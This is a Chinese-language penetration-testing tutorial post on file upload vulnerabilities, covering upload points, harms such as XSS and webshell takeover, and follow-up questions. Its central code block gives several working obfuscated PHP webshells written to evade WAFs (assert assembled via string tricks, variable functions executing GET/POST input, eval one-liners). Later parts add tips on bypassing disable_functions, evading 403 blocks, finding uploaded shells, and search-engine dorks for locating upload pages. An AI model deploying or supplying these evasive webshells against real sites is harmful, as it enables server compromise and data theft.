3.1_文件上传漏洞

文件上传漏洞


  1. 文件上传漏洞原理:未对用户提交的文件进行严格校验,就将恶意文件解析执行,导致用户可以提交恶意的文件进行攻击;

  2. 利用方式(危害):

    1). 上传 HTML/SVG 进行 XSS 攻击,窃取 Cookie ;(CSRF + XSS

    2). 上传 Webshell 文件 Getshell;( Webshell 文件:phpaspjsp等 )

    3). 上传 Docx 宏病毒文件,对数据进行 窃取和破坏;

  3. 可能存在的文件上传的功能点(文资留商用)

    1) . 文件编辑处 文件上传;

    2) . 资料认证处 文件上传;

    3) . 留言评论处 文件上传;

    4) . 商品编辑处 文件上传;

    5) . 用户信息处 文件上传;

绕过方式


文件上传绕WAF:免杀webshell


复制代码
<?php
$a = substr_replace("assexx","rt",4);
$b=[''→$a($_POST['q'])];
?>

<?php
$a = $_GET['A'];
$b = $_POST['B'];
$a($b);
?>

<?php
$a ="a";
$s ="s";
$c=$a.$s."sert";
foreach(array('_GET') as $r){
foreach($$r as $k => $v){
$c($v);
}}
?>

# 参数名=phpinfo();
# <?php phpinfo();@Eval($_POST[1]);?>
# <? @eval($_POST[1]); ?>

其他


  1. 网站设置了 Disable_functions 如何进行绕过?
    1). 作用:限制命令执行;
    2). 绕过:蚁剑/哥斯拉上安装插件进行绕过;
  2. 为什么上传了恶意文件,但连接不上 ?
    1). 恶意文件内容有误;
    2). 上传的恶意文件无法被解析;
    3). 当前目录不能执行脚本文件;
    4). 安全设备进行了拦截;
  3. 为什么可以正常访问图片,但访问上传脚本显示403?
    1). 当前目录不能执行脚本文件;
    2). 安全设备进行了拦截;
  4. 绕过403工具:403ByPassser-master,X-Forwarded-For 插件
  5. 脚本上传后,如何找到其路径?
    1). 上传页面F12查看源码;
    2). Brup抓包,查看是否泄露了其上传路径;
    3). 查看网站图片路径,试着修改文件名,看图片目录下是否存在上传文件;
    4). 通过目录扫描寻找可疑的目录;
  6. Google语法:inurl:upload.php , intitle="未选择文件"
  7. FOFA语法:title="upload"

免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!

相关推荐
独行soc1 小时前
2025年渗透测试面试题总结-258(题目+回答)
网络·python·安全·web安全·渗透测试·安全狮
AI绘画小332 小时前
网络安全(黑客技术)—2025自学手册
网络·安全·web安全·网络安全·渗透测试
合才科技2 小时前
【要闻周报】网络安全与数据合规 11-21
安全·web安全
swanwei6 小时前
2025年11月22-23日互联网技术热点TOP3及影响分析(AI增量训练框架开源)
网络·人工智能·程序人生·安全·百度
华硕之声6 小时前
如何搭建生活秩序感?
科技·安全·技术美术
wanhengidc7 小时前
云手机中都有哪些安全保护措施?
安全·智能手机
XH-hui8 小时前
【打靶日记】HackMyVm 之 hunter
linux·网络安全·hackmyvm·hmv
wheeldown11 小时前
【Linux】多线程核心速记:线程池 + 单例模式 + 线程安全 + 死锁 + 智能指针
linux·运维·服务器·安全·单例模式
编码小哥11 小时前
IPSec 详细介绍
网络·tcp/ip·安全
q***656912 小时前
MySQL 的mysql_secure_installation安全脚本执行过程介绍
数据库·mysql·安全